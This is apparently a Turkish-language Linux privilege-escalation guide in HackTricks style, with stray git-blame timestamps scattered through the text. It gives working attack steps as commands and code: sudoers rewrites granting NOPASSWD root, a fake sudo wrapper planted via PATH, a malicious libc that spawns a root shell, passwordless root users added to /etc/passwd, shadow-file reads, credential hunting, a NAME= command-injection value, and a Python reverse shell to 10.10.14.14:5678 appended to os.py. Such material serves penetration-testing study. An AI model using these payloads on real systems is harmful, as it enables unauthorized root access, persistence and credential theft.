Eğer bu dosyayı **okuyabiliyorsanız**, bazı ilginç bilgilere **erişebilirsiniz**, ve eğer herhangi bir dosyayı **yazabilirseniz**, ayrıcalıkları **yükseltebilirsiniz**.
2020-08-20 11:59:57 +00:00
```bash
ls -l /etc/sudoers /etc/sudoers.d/
ls -ld /etc/sudoers.d/
```
2024-02-10 18:14:16 +00:00
Eğer yazabilirseniz, bu izni kötüye kullanabilirsiniz.
2020-08-20 11:59:57 +00:00
```bash
echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers
echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers.d/README
```
Başka bir yol bu izinleri kötüye kullanmaktır:
2020-08-21 11:22:11 +00:00
```bash
2024-02-10 18:14:16 +00:00
# makes it so every terminal can sudo
2020-08-21 11:22:11 +00:00
echo "Defaults !tty_tickets" > /etc/sudoers.d/win
# makes it so sudo never times out
echo "Defaults timestamp_timeout=-1" >> /etc/sudoers.d/win
```
2022-05-01 16:57:45 +00:00
### DOAS
2020-08-20 11:59:57 +00:00
`sudo` binary için `doas` gibi bazı alternatifler vardır OpenBSD için, yapılandırmasını kontrol etmeyi unutmayın `/etc/doas.conf`
2021-10-10 21:09:04 +00:00
```
2020-08-20 11:59:57 +00:00
permit nopass demo as root cmd vim
```
2024-02-10 18:14:16 +00:00
### Sudo Kaçırma
2020-08-20 11:59:57 +00:00
Eğer bir **kullanıcının genellikle bir makineye bağlandığını ve ayrıcalıkları yükseltmek için `sudo` kullandığını** biliyorsanız ve bu kullanıcının bağlamında bir kabuk elde ettiyseniz, **kök olarak kodunuzu çalıştıracak yeni bir sudo yürütülebilir dosya oluşturabilirsiniz** ve ardından kullanıcının komutunu çalıştırabilirsiniz. Sonra, kullanıcı bağlamının $PATH'ini değiştirin (örneğin, yeni yolu .bash\_profile içine ekleyin), böylece kullanıcı sudo komutunu çalıştırdığında, sizin sudo yürütülebilir dosyanız çalıştırılır.
2021-07-21 11:07:55 +00:00
Kullanıcının farklı bir kabuk kullandığını (bash değil) biliyorsanız, yeni yolu eklemek için diğer dosyaları değiştirmeniz gerekecektir. Örneğin [sudo-piggyback](https://github.com/APTy/sudo-piggyback) `~/.bashrc`, `~/.zshrc`, `~/.bash_profile` dosyalarını değiştirir. Başka bir örnek için [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire\_modules/bashdoor.py) adresine bakabilirsiniz.
Veya şunu çalıştırarak:
```bash
cat >/tmp/sudo <<EOF
#!/bin/bash
/usr/bin/sudo whoami > /tmp/privesc
/usr/bin/sudo "\$@"
EOF
chmod +x /tmp/sudo
echo export PATH=/tmp:$PATH >> $HOME/.zshenv # or ".bashrc" or any other
# From the victim
zsh
echo $PATH
sudo ls
```
2024-02-10 18:14:16 +00:00
## Paylaşılan Kütüphane
2020-08-20 11:59:57 +00:00
2022-05-01 16:57:45 +00:00
### ld.so
2020-08-20 11:59:57 +00:00
`/etc/ld.so.conf` dosyası, **yüklü yapılandırma dosyalarının nereden geldiğini** gösterir. Genellikle, bu dosya aşağıdaki yolu içerir: `include /etc/ld.so.conf.d/*.conf`
2020-08-20 11:59:57 +00:00
Bu, `/etc/ld.so.conf.d/*.conf` yolundaki yapılandırma dosyalarının okunacağı anlamına gelir. Bu yapılandırma dosyaları, **kütüphanelerin aranacağı diğer klasörlere işaret eder**. Örneğin, `/etc/ld.so.conf.d/libc.conf` dosyasının içeriği `/usr/local/lib` şeklindedir. **Bu, sistemin kütüphaneleri `/usr/local/lib` klasörü içinde arayacağı anlamına gelir**.
2020-08-20 11:59:57 +00:00
Eğer **bir kullanıcının** herhangi bir nedenden dolayı **yazma izinleri** varsa: `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, `/etc/ld.so.conf.d/` içindeki herhangi bir dosya veya `/etc/ld.so.conf.d/*.conf` içindeki yapılandırma dosyasındaki herhangi bir klasör, o zaman ayrıcalıkları yükseltebilir.\
Bu yanlış yapılandırmayı **nasıl sömürüleceğine** aşağıdaki sayfada bakın:
2020-08-20 11:59:57 +00:00
2021-10-10 21:09:04 +00:00
{% content-ref url="ld.so.conf-example.md" %}
[ld.so.conf-example.md](ld.so.conf-example.md)
{% endcontent-ref %}
2020-08-20 11:59:57 +00:00
2022-05-01 16:57:45 +00:00
### RPATH
2021-10-10 21:09:04 +00:00
```
2020-08-20 11:59:57 +00:00
level15@nebula:/home/flag15$ readelf -d flag15 | egrep "NEEDED|RPATH"
2024-02-10 18:14:16 +00:00
0x00000001 (NEEDED) Shared library: [libc.so.6]
0x0000000f (RPATH) Library rpath: [/var/tmp/flag15]
2020-08-20 11:59:57 +00:00
level15@nebula:/home/flag15$ ldd ./flag15
2024-02-10 18:14:16 +00:00
linux-gate.so.1 => (0x0068c000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000)
/lib/ld-linux.so.2 (0x005bb000)
2020-08-20 11:59:57 +00:00
```
`lib` dosyasını `/var/tmp/flag15/` dizinine kopyalayarak, programın bu konumda belirtilen `RPATH` değişkeni tarafından kullanılacaktır.
2021-10-10 21:09:04 +00:00
```
2020-08-20 11:59:57 +00:00
level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/
level15@nebula:/home/flag15$ ldd ./flag15
2024-02-10 18:14:16 +00:00
linux-gate.so.1 => (0x005b0000)
libc.so.6 => /var/tmp/flag15/libc.so.6 (0x00110000)
/lib/ld-linux.so.2 (0x00737000)
2020-08-20 11:59:57 +00:00
```
Daha sonra `/var/tmp` dizininde `gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6` komutunu kullanarak kötü niyetli bir kütüphane oluşturun.
2020-08-25 14:19:45 +00:00
```c
2020-08-20 11:59:57 +00:00
#include<stdlib.h>
#define SHELL "/bin/sh"
int __libc_start_main(int (*main) (int, char **, char **), int argc, char ** ubp_av, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void (* stack_end))
{
2024-02-10 18:14:16 +00:00
char *file = SHELL;
char *argv[] = {SHELL,0};
setresuid(geteuid(),geteuid(), geteuid());
execve(file,argv,0);
2020-08-20 11:59:57 +00:00
}
```
2024-02-10 18:14:16 +00:00
## Yetenekler
2020-08-20 11:59:57 +00:00
Linux yetenekleri, bir işleme mevcut kök ayrıcalıklarının bir alt kümesini sağlar. Bu, kök ayrıcalıklarını daha küçük ve ayırt edici birimlere böler. Bu birimlerden her biri daha sonra işlemlere bağımsız olarak verilebilir. Bu şekilde ayrıcalıkların tam seti azaltılarak, sömürü riskleri azaltılır.\
Yetenekler hakkında daha fazla bilgi edinmek için aşağıdaki sayfayı okuyun:
2020-08-27 18:09:40 +00:00
2021-10-10 21:09:04 +00:00
{% content-ref url="linux-capabilities.md" %}
[linux-capabilities.md](linux-capabilities.md)
{% endcontent-ref %}
2024-02-10 18:14:16 +00:00
## Dizin izinleri
2021-07-16 23:34:00 +00:00
Bir dizinde "çalıştır" biti, etkilenen kullanıcının klasöre "cd" yapabileceği anlamına gelir.\
"Okuma" biti, kullanıcının dosyaları listeleyebileceği anlamına gelir ve "yazma" biti, kullanıcının dosyaları silebileceği ve yeni dosyalar oluşturabileceği anlamına gelir.
2020-08-22 14:37:12 +00:00
2024-02-10 18:14:16 +00:00
## ACL'ler
2024-02-07 04:06:18 +00:00
Erişim Kontrol Listeleri (ACL'ler), geleneksel ugo/rwx izinlerini geçersiz kılabilen ikincil bir ayrıcalık katmanını temsil eder. Bu izinler, dosya veya dizin erişimini denetlemeyi geliştirir, belirli kullanıcılara belirli hakları vererek veya reddederek grup sahipleri veya grup üyeleri olmayan kullanıcılara. Bu ayrıntılı erişim yönetimi seviyesi, daha hassas erişim yönetimini sağlar. Daha fazla ayrıntıya [buradan](https://linuxconfig.org/how-to-manage-acls-on-linux) ulaşılabilir.
2024-04-06 19:40:41 +00:00
Kullanıcı "kali"ye bir dosya üzerinde okuma ve yazma izinleri verin:
2020-08-24 15:33:28 +00:00
```bash
setfacl -m u:kali:rw file.txt
2022-09-20 02:56:05 +00:00
#Set it in /etc/sudoers or /etc/sudoers.d/README (if the dir is included)
2021-10-10 21:09:04 +00:00
setfacl -b file.txt #Remove the ACL of the file
2020-08-24 15:33:28 +00:00
```
Sistemden belirli ACL'ye sahip dosyaları **alın**:
2020-08-24 15:33:28 +00:00
```bash
getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null
```
2024-02-10 18:14:16 +00:00
## Açık kabuk oturumları
2020-08-22 14:37:12 +00:00
2024-02-10 18:14:16 +00:00
**Eski sürümlerde**, farklı bir kullanıcının (**root**) bazı **kabuk** oturumlarını **ele geçirebilirsiniz**.\
**En yeni sürümlerde**, yalnızca **kendi kullanıcı oturumlarınıza bağlanabileceksiniz**. Bununla birlikte, oturum içinde **ilginç bilgiler bulabilirsiniz**.
### Ekran oturumlarını ele geçirme
**Ekran oturumlarını listeleme**
```bash
screen -ls
2023-06-08 05:15:47 +00:00
screen -ls <username>/ # Show another user' screen sessions
```
![](<../../.gitbook/assets/image (141).png>)
**Bir oturuma bağlanın**
```bash
2022-09-20 02:56:05 +00:00
screen -dr <session> #The -d is to detach whoever is attached to it
screen -dr 3350.foo #In the example of the image
2023-06-08 05:15:47 +00:00
screen -x [user]/[session id]
```
## tmux oturumları ele geçirme
2024-04-06 19:40:41 +00:00
Bu, **eski tmux sürümleri** ile ilgili bir sorundu. Root tarafından oluşturulan bir tmux (v2.1) oturumunu ayrıcalıklı olmayan bir kullanıcı olarak ele geçiremedim.
2024-04-06 19:40:41 +00:00
**Tmux oturumlarını listeleme**
```bash
tmux ls
ps aux | grep tmux #Search for tmux consoles not using default folder for sockets
tmux -S /tmp/dev_sess ls #List using that socket, you can start a tmux session in that socket with: tmux -S /tmp/dev_sess
```
![](<../../.gitbook/assets/image (837).png>)
**Bir oturuma bağlanın**
```bash
tmux attach -t myname #If you write something in this session it will appears in the other opened one
2022-09-20 02:56:05 +00:00
tmux attach -d -t myname #First detach the session from the other console and then access it yourself
2022-10-02 22:19:40 +00:00
ls -la /tmp/dev_sess #Check who can access it
rw-rw---- 1 root devs 0 Sep 1 06:27 /tmp/dev_sess #In this case root and devs can
# If you are root or devs you can access it
tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket
```
**HTB'den Valentine kutusunu** bir örnek için kontrol edin.
2020-08-26 21:42:06 +00:00
2022-05-01 13:25:53 +00:00
## SSH
2024-02-10 18:14:16 +00:00
### Debian OpenSSL Tahmin Edilebilir PRNG - CVE-2008-0166
Tüm Debian tabanlı sistemlerde (Ubuntu, Kubuntu, vb.) Eylül 2006 ile 13 Mayıs 2008 arasında oluşturulan SSL ve SSH anahtarları bu hatadan etkilenebilir.\
Bu hata, bu işletim sistemlerinde yeni bir ssh anahtarı oluşturulduğunda ortaya çıkar, çünkü **yalnızca 32,768 varyasyon mümkündü**. Bu, tüm olasılıkların hesaplanabileceği anlamına gelir ve **ssh genel anahtarı olan kişi, karşılık gelen özel anahtarı arayabilir**. Hesaplanmış olasılıkları burada bulabilirsiniz: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh)
2024-02-10 18:14:16 +00:00
### SSH İlginç yapılandırma değerleri
* **PasswordAuthentication:** Parola kimlik doğrulamasının izin verilip verilmediğini belirtir. Varsayılan `no`'dur.
* **PubkeyAuthentication:** Genel anahtar kimlik doğrulamasının izin verilip verilmediğini belirtir. Varsayılan `yes`'tir.
* **PermitEmptyPasswords**: Parola kimlik doğrulamasına izin verildiğinde, sunucunun boş parola dizelerine sahip hesaplara giriş yapmasına izin verip vermediğini belirtir. Varsayılan `no`'dur.
2022-05-01 13:25:53 +00:00
### PermitRootLogin
Root'un ssh kullanarak giriş yapmasına izin verilip verilmediğini belirtir, varsayılan `no`'dur. Olası değerler:
2024-02-10 18:14:16 +00:00
* `yes`: root, parola ve özel anahtar kullanarak giriş yapabilir
* `without-password` veya `prohibit-password`: root, yalnızca özel anahtarla giriş yapabilir
* `forced-commands-only`: Root, yalnızca özel anahtar kullanarak ve komut seçenekleri belirtildiğinde giriş yapabilir
2024-02-10 18:14:16 +00:00
* `no` : hayır
2022-05-01 13:25:53 +00:00
### AuthorizedKeysFile
Kullanıcı kimlik doğrulaması için kullanılabilecek genel anahtarları içeren dosyaları belirtir. `%h` gibi belirteçler içerebilir, bu belirteçler ev dizini tarafından değiştirilecektir. **Mutlak yolları** (başlangıç `/`) veya **kullanıcının evinden başlayan** **göreceli yolları** belirtebilirsiniz. Örneğin:
```bash
2020-09-01 09:02:57 +00:00
AuthorizedKeysFile .ssh/authorized_keys access
```
O yapılandırma, "**testkullanıcıadı**" kullanıcısının **özel** anahtarı ile giriş yapmaya çalışırsanız, ssh'nin anahtarınızın genel anahtarıyla `/home/testkullanıcıadı/.ssh/authorized_keys` ve `/home/testkullanıcıadı/erişim` konumlarındaki anahtarları karşılaştıracağını belirtecektir.
2022-05-01 13:25:53 +00:00
### ForwardAgent/AllowAgentForwarding
SSH ajan yönlendirmesi, sunucunuzda (şifresiz!) anahtarları bırakmak yerine **yerel SSH anahtarlarınızı kullanmanıza olanak tanır**. Bu sayede, ssh üzerinden bir **ana makineye** ve oradan da **başka bir** ana makinaya **atlayabilirsiniz** ve bu sırada **ilk ana makinedeki** anahtarı **kullanabilirsiniz**.
2024-04-06 19:40:41 +00:00
Bu seçeneği `$HOME/.ssh.config` dosyasında şu şekilde ayarlamanız gerekmektedir:
2021-10-10 21:09:04 +00:00
```
Host example.com
2024-02-10 18:14:16 +00:00
ForwardAgent yes
```
Eğer `Host` `*` ise, her seferinde kullanıcı farklı bir makineye geçtiğinde, o makine anahtarlarına erişebilecektir (bu bir güvenlik sorunudur).
2024-04-06 19:40:41 +00:00
`/etc/ssh_config` dosyası bu **seçenekleri geçersiz kılabilir** ve bu yapılandırmayı izin verebilir veya reddedebilir.\
`/etc/sshd_config` dosyası `AllowAgentForwarding` anahtar kelimesi ile ssh-agent yönlendirmesine izin verebilir veya reddedebilir (varsayılan olarak izin verilir).
Eğer bir ortamda Forward Agent yapılandırıldığını fark ederseniz, **yetkileri yükseltmek için bunu kötüye kullanabilirsiniz**:
{% content-ref url="ssh-forward-agent-exploitation.md" %}
[ssh-forward-agent-exploitation.md](ssh-forward-agent-exploitation.md)
{% endcontent-ref %}
2024-02-10 18:14:16 +00:00
## İlginç Dosyalar
2024-02-10 18:14:16 +00:00
### Profil Dosyaları
`/etc/profile` dosyası ve `/etc/profile.d/` altındaki dosyalar, **bir kullanıcı yeni bir kabuk çalıştırdığında yürütülen betiklerdir**. Dolayısıyla, bunlardan herhangi birini **yazabilir veya değiştirebilirseniz yetkileri yükseltebilirsiniz**.
2020-08-20 14:43:22 +00:00
```bash
2020-08-24 12:46:39 +00:00
ls -l /etc/profile /etc/profile.d/
2020-08-20 14:43:22 +00:00
```
2024-02-10 18:14:16 +00:00
### Passwd/Shadow Dosyaları
Eğer herhangi bir garip profil betiği bulunursa, onu **duyarlı detaylar**ısından kontrol etmelisiniz.
İşletim sistemine bağlı olarak `/etc/passwd` ve `/etc/shadow` dosyalarının farklı bir isim kullanıyor olabileceği veya bir yedek kopya olabileceği unutulmamalıdır. Bu nedenle **hepsini bulmanız** ve içerisinde **hash'lerin olup olmadığını** görmek için onları okuyup okuyamadığınızı kontrol etmeniz önerilir:
```bash
2020-08-24 12:46:39 +00:00
#Passwd equivalent files
cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null
#Shadow equivalent files
cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db /etc/security/opasswd 2>/dev/null
```
Bazı durumlarda, `/etc/passwd` (veya eşdeğeri) dosyası içinde **şifre karmaları** bulabilirsiniz.
```bash
2020-08-24 12:46:39 +00:00
grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null
```
2024-02-10 18:14:16 +00:00
### Yazılabilir /etc/passwd
İlk olarak, aşağıdaki komutlardan biri ile bir şifre oluşturun.
2021-10-10 21:09:04 +00:00
```
2020-08-20 14:43:22 +00:00
openssl passwd -1 -salt hacker hacker
mkpasswd -m SHA-512 hacker
python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")'
```
Ardından kullanıcı `hacker` ekleyin ve oluşturulan şifreyi ekleyin.
2021-10-10 21:09:04 +00:00
```
2020-08-20 14:43:22 +00:00
hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash
```
Örn: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash`
2024-04-06 19:40:41 +00:00
Artık `hacker:hacker` kullanarak `su` komutunu kullanabilirsiniz.
2024-04-06 19:40:41 +00:00
Alternatif olarak, şu satırları kullanarak şifresiz bir sahte kullanıcı ekleyebilirsiniz.\
UYARI: Makinenin mevcut güvenliğini düşürebilirsiniz.
2021-10-10 21:09:04 +00:00
```
2020-08-20 14:43:22 +00:00
echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd
su - dummy
```
**NOT:** BSD platformlarında `/etc/passwd` dosyası `/etc/pwd.db` ve `/etc/master.passwd` konumunda bulunur, ayrıca `/etc/shadow` dosyası `/etc/spwd.db` olarak yeniden adlandırılmıştır.
2024-04-06 19:40:41 +00:00
Bazı **duyarlı dosyalara yazabilir mi** kontrol etmelisiniz. Örneğin, bazı **hizmet yapılandırma dosyalarına** yazabilir misiniz?
```bash
find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody
for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user
```
Örneğin, makine **tomcat** sunucusunu çalıştırıyorsa ve **/etc/systemd/ içindeki Tomcat servis yapılandırma dosyasını değiştirebiliyorsanız,** o zaman şu satırları değiştirebilirsiniz:
2021-10-10 21:09:04 +00:00
```
ExecStart=/path/to/backdoor
User=root
Group=root
```
2024-02-10 18:14:16 +00:00
### Klasörleri Kontrol Et
2020-08-24 12:46:39 +00:00
Aşağıdaki klasörler yedeklemeler veya ilginç bilgiler içerebilir: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (Muhtemelen sonuncusunu okuyamayacaksınız ama deneyin)
2020-08-24 12:46:39 +00:00
```bash
ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root
```
### Garip Konum/Sahip Dosyalar
2020-08-24 12:46:39 +00:00
```bash
#root owned files in /home folders
find /home -user root 2>/dev/null
#Files owned by other users in folders owned by me
for d in `find /var /etc /home /root /tmp /usr /opt /boot /sys -type d -user $(whoami) 2>/dev/null`; do find $d ! -user `whoami` -exec ls -l {} \; 2>/dev/null; done
2022-09-20 02:56:05 +00:00
#Files owned by root, readable by me but not world readable
2020-08-24 12:46:39 +00:00
find / -type f -user root ! -perm -o=r 2>/dev/null
#Files owned by me or world writable
find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null
#Writable files by each group I belong to
for g in `groups`;
2024-02-10 18:14:16 +00:00
do printf " Group $g:\n";
find / '(' -type f -or -type d ')' -group $g -perm -g=w ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null
done
2020-08-24 12:46:39 +00:00
done
```
2024-02-10 18:14:16 +00:00
### Son dakikalarda değiştirilen dosyalar
2020-08-24 12:46:39 +00:00
```bash
find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -path "/dev/*" ! -path "/var/lib/*" 2>/dev/null
```
2024-02-10 18:14:16 +00:00
### Sqlite DB dosyaları
2020-08-24 12:46:39 +00:00
```bash
find / -name '*.db' -o -name '*.sqlite' -o -name '*.sqlite3' 2>/dev/null
```
### \*\_geçmişi, .sudo\_olarak\_yönetici\_olarak\_başarılı, profil, bashrc, httpd.conf, .plan, .htpasswd, .git-credentials, .rhosts, hosts.eşdeğeri, Dockerfile, docker-compose.yml dosyaları
2020-08-24 12:46:39 +00:00
```bash
2023-08-10 10:33:47 +00:00
find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -name ".profile" -o -name "*bashrc" -o -name "httpd.conf" -o -name "*.plan" -o -name ".htpasswd" -o -name ".git-credentials" -o -name "*.rhosts" -o -name "hosts.equiv" -o -name "Dockerfile" -o -name "docker-compose.yml" \) 2>/dev/null
2020-08-24 12:46:39 +00:00
```
2024-02-10 18:14:16 +00:00
### Gizli dosyalar
2020-08-24 12:46:39 +00:00
```bash
find / -type f -iname ".*" -ls 2>/dev/null
```
### **PATH'teki Komut Dosyaları/Binary Dosyaları**
2020-08-24 12:46:39 +00:00
```bash
for d in `echo $PATH | tr ":" "\n"`; do find $d -name "*.sh" 2>/dev/null; done
for d in `echo $PATH | tr ":" "\n"`; do find $d -type f -executable 2>/dev/null; done
2020-08-24 12:46:39 +00:00
```
2024-02-10 18:14:16 +00:00
### **Web dosyaları**
2020-08-24 12:46:39 +00:00
```bash
ls -alhR /var/www/ 2>/dev/null
ls -alhR /srv/www/htdocs/ 2>/dev/null
ls -alhR /usr/local/www/apache22/data/
ls -alhR /opt/lampp/htdocs/ 2>/dev/null
```
2024-02-10 18:14:16 +00:00
### **Yedeklemeler**
2020-08-24 12:46:39 +00:00
```bash
2023-08-10 10:28:00 +00:00
find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/games /usr/sbin /root /tmp -type f \( -name "*backup*" -o -name "*\.bak" -o -name "*\.bck" -o -name "*\.bk" \) 2>/dev/null
2020-08-24 12:46:39 +00:00
```
2024-02-10 18:14:16 +00:00
### Bilinen şifre içeren dosyalar
2020-08-24 12:46:39 +00:00
[**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) kodunu okuyun, **şifre içerebilecek çeşitli dosyaları arar**.\
Bunu yapmak için kullanabileceğiniz **başka ilginç bir araç** ise: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) Windows, Linux ve Mac'te saklanan birçok şifreyi almak için kullanılan açık kaynaklı bir uygulamadır.
2020-08-24 12:46:39 +00:00
### Kayıtlar
Kayıtları okuyabiliyorsanız, içlerinde **ilginç/gizli bilgiler bulabilirsiniz**. Kayıt ne kadar garipse, o kadar ilginç olacaktır (muhtemelen).\
Ayrıca, bazı "**kötü**" yapılandırılmış (arka kapılı?) **denetim kayıtları**, size **denetim kayıtlarının içine şifre kaydetmenize izin verebilir**. Bu konuyla ilgili olarak şu yazıda açıklandığı gibi: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/).
```bash
aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g"
grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null
```
**Günlükleri okumak için** [**adm**](ilginc-gruplar-linux-pe/#adm-grubu) **grubu gerçekten yardımcı olacaktır.**
2024-04-06 19:40:41 +00:00
### Kabuk dosyaları
2021-08-18 16:50:47 +00:00
```bash
2022-09-20 02:56:05 +00:00
~/.bash_profile # if it exists, read it once when you log in to the shell
~/.bash_login # if it exists, read it once if .bash_profile doesn't exist
2021-08-18 16:50:47 +00:00
~/.profile # if it exists, read once if the two above don't exist
2022-09-20 02:56:05 +00:00
/etc/profile # only read if none of the above exists
~/.bashrc # if it exists, read it every time you start a new shell
2021-08-18 16:50:47 +00:00
~/.bash_logout # if it exists, read when the login shell exits
~/.zlogin #zsh shell
~/.zshrc #zsh shell
```
### Genel Kimlik Bilgisi Arama/Regex
2024-04-06 19:40:41 +00:00
Ayrıca, adında "**password**" kelimesini içeren dosyaları ve içeriğinde de bu kelimeyi içeren dosyaları kontrol etmelisiniz, ayrıca log dosyalarında IP'leri ve e-postaları veya hash'leri regexlerle kontrol etmelisiniz.\
Bunların hepsini nasıl yapacağını burada listeleyeceğim, ancak ilgileniyorsanız [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) tarafından gerçekleştirilen son kontrolleri kontrol edebilirsiniz.
2020-08-24 12:46:39 +00:00
## Yazılabilir dosyalar
### Python kütüphane kaçırma
Eğer bir python betiğinin **nereden** çalıştırılacağını biliyorsanız ve o klasöre **yazabilirsiniz** veya **python kütüphanelerini değiştirebilirseniz**, işletim sistemi kütüphanesini değiştirip arkasına kötü amaçlı yazılım ekleyebilirsiniz (python betiğinin çalıştırılacağı yere yazabilirseniz, os.py kütüphanesini kopyalayıp yapıştırın).
2024-04-06 19:40:41 +00:00
Kütüphaneye **kötü amaçlı yazılım eklemek** için sadece os.py kütüphanesinin sonuna aşağıdaki satırı ekleyin (IP ve PORT'u değiştirin):
```python
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
```
### Logrotate sömürüsü
`logrotate`'daki bir zafiyet, bir günlük dosyasında veya üst dizinlerinde **yazma izinlerine** sahip olan kullanıcıların ayrıcalıklarını yükseltebilmelerine olanak tanır. Bu, genellikle **root** olarak çalışan `logrotate`'un, özellikle _**/etc/bash\_completion.d/**_ gibi dizinlerde keyfi dosyaları çalıştırmak üzere manipüle edilebileceği anlamına gelir. İzinleri sadece _/var/log_ dizininde değil, aynı zamanda günlük döndürmenin uygulandığı herhangi bir dizinde kontrol etmek önemlidir.
2020-08-27 20:57:15 +00:00
{% hint style="info" %}
Bu zafiyet, `logrotate` sürümü `3.18.0` ve daha eski sürümleri etkiler.
2020-08-27 20:57:15 +00:00
{% endhint %}
Bu zafiyet hakkında daha detaylı bilgiye şu sayfada ulaşabilirsiniz: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition).
Bu zafiyeti [**logrotten**](https://github.com/whotwagner/logrotten) ile sömürebilirsiniz.
Bu zafiyet, [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx günlükleri)** ile çok benzerdir, bu yüzden günlükleri değiştirebileceğinizi fark ettiğinizde, günlükleri kimin yönettiğini kontrol edin ve simgelerle günlükleri değiştirerek ayrıcalıkları yükseltebileceğinizi kontrol edin.
2022-05-01 16:57:45 +00:00
### /etc/sysconfig/network-scripts/ (Centos/Redhat)
2020-08-20 14:43:22 +00:00
**Zafiyet referansı:** [**https://vulmon.com/exploitdetails?qidtp=maillist\_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist\_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f)
2024-02-07 04:06:18 +00:00
Herhangi bir nedenden dolayı bir kullanıcı _/etc/sysconfig/network-scripts_ dizinine bir `ifcf-<neolursa>` betiği **yazabilirse** veya var olan bir betiği **ayarlayabilirse**, o zaman **sisteminiz ele geçirilmiştir**.
2020-08-20 14:43:22 +00:00
2024-02-10 18:14:16 +00:00
Ağ betikleri, örneğin _ifcg-eth0_, ağ bağlantıları için kullanılır. Tam olarak .INI dosyalarına benzerler. Ancak, Linux'ta Network Manager (dispatcher.d) tarafından \~kaynaklanır\~.
2020-08-20 14:43:22 +00:00
Benim durumumda, bu ağ betiklerindeki `NAME=` özniteliği doğru bir şekilde işlenmiyor. Eğer isimde **boşluk varsa, sistem boşluktan sonraki kısmı çalıştırmaya çalışır**. Bu, **ilk boşluktan sonraki her şeyin root olarak çalıştırıldığı anlamına gelir**.
2020-08-20 14:43:22 +00:00
2024-02-10 18:14:16 +00:00
Örneğin: _/etc/sysconfig/network-scripts/ifcfg-1337_
2020-08-20 14:43:22 +00:00
```bash
NAME=Network /bin/id
ONBOOT=yes
DEVICE=eth0
```
2024-02-10 18:14:16 +00:00
### **init, init.d, systemd ve rc.d**
2020-08-20 14:43:22 +00:00
`/etc/init.d` dizini, **Sistem V init (SysVinit)** için betikleri içerir, klasik Linux hizmet yönetim sistemi. Hizmetleri `başlatmak`, `durdurmak`, `yeniden başlatmak` ve bazen `yeniden yüklemek` için betikler içerir. Bu betikler doğrudan yürütülebilir veya `/etc/rc?.d/` dizininde bulunan sembolik bağlantılar aracılığıyla yürütülebilir. Redhat sistemlerinde alternatif bir yol ise `/etc/rc.d/init.d` dizinidir.
2020-08-24 17:35:11 +00:00
Öte yandan, `/etc/init` **Upstart** ile ilişkilidir, Ubuntu tarafından tanıtılan daha yeni bir **hizmet yönetimi** kullanarak hizmet yönetimi görevleri için yapılandırma dosyaları kullanır. Upstart'e geçişe rağmen, Upstart yapılandırmalarıyla birlikte SysVinit betikleri hala kullanılmaktadır çünkü Upstart'te bir uyumluluk katmanı bulunmaktadır.
2022-09-20 02:56:05 +00:00
**systemd**, modern bir başlatma ve hizmet yöneticisi olarak ortaya çıkar, ihtiyaç duyulan daemon başlatma, otomatik bağlama yönetimi ve sistem durumu anlık görüntüleme gibi gelişmiş özellikler sunar. Dağıtım paketleri için dosyaları `/usr/lib/systemd/` ve yönetici değişiklikleri için `/etc/systemd/system/` dizinlerine düzenler, sistem yönetimi sürecini kolaylaştırır.
2020-08-24 15:33:28 +00:00
## Diğer Püf Noktalar
### NFS Yetki Yükseltme
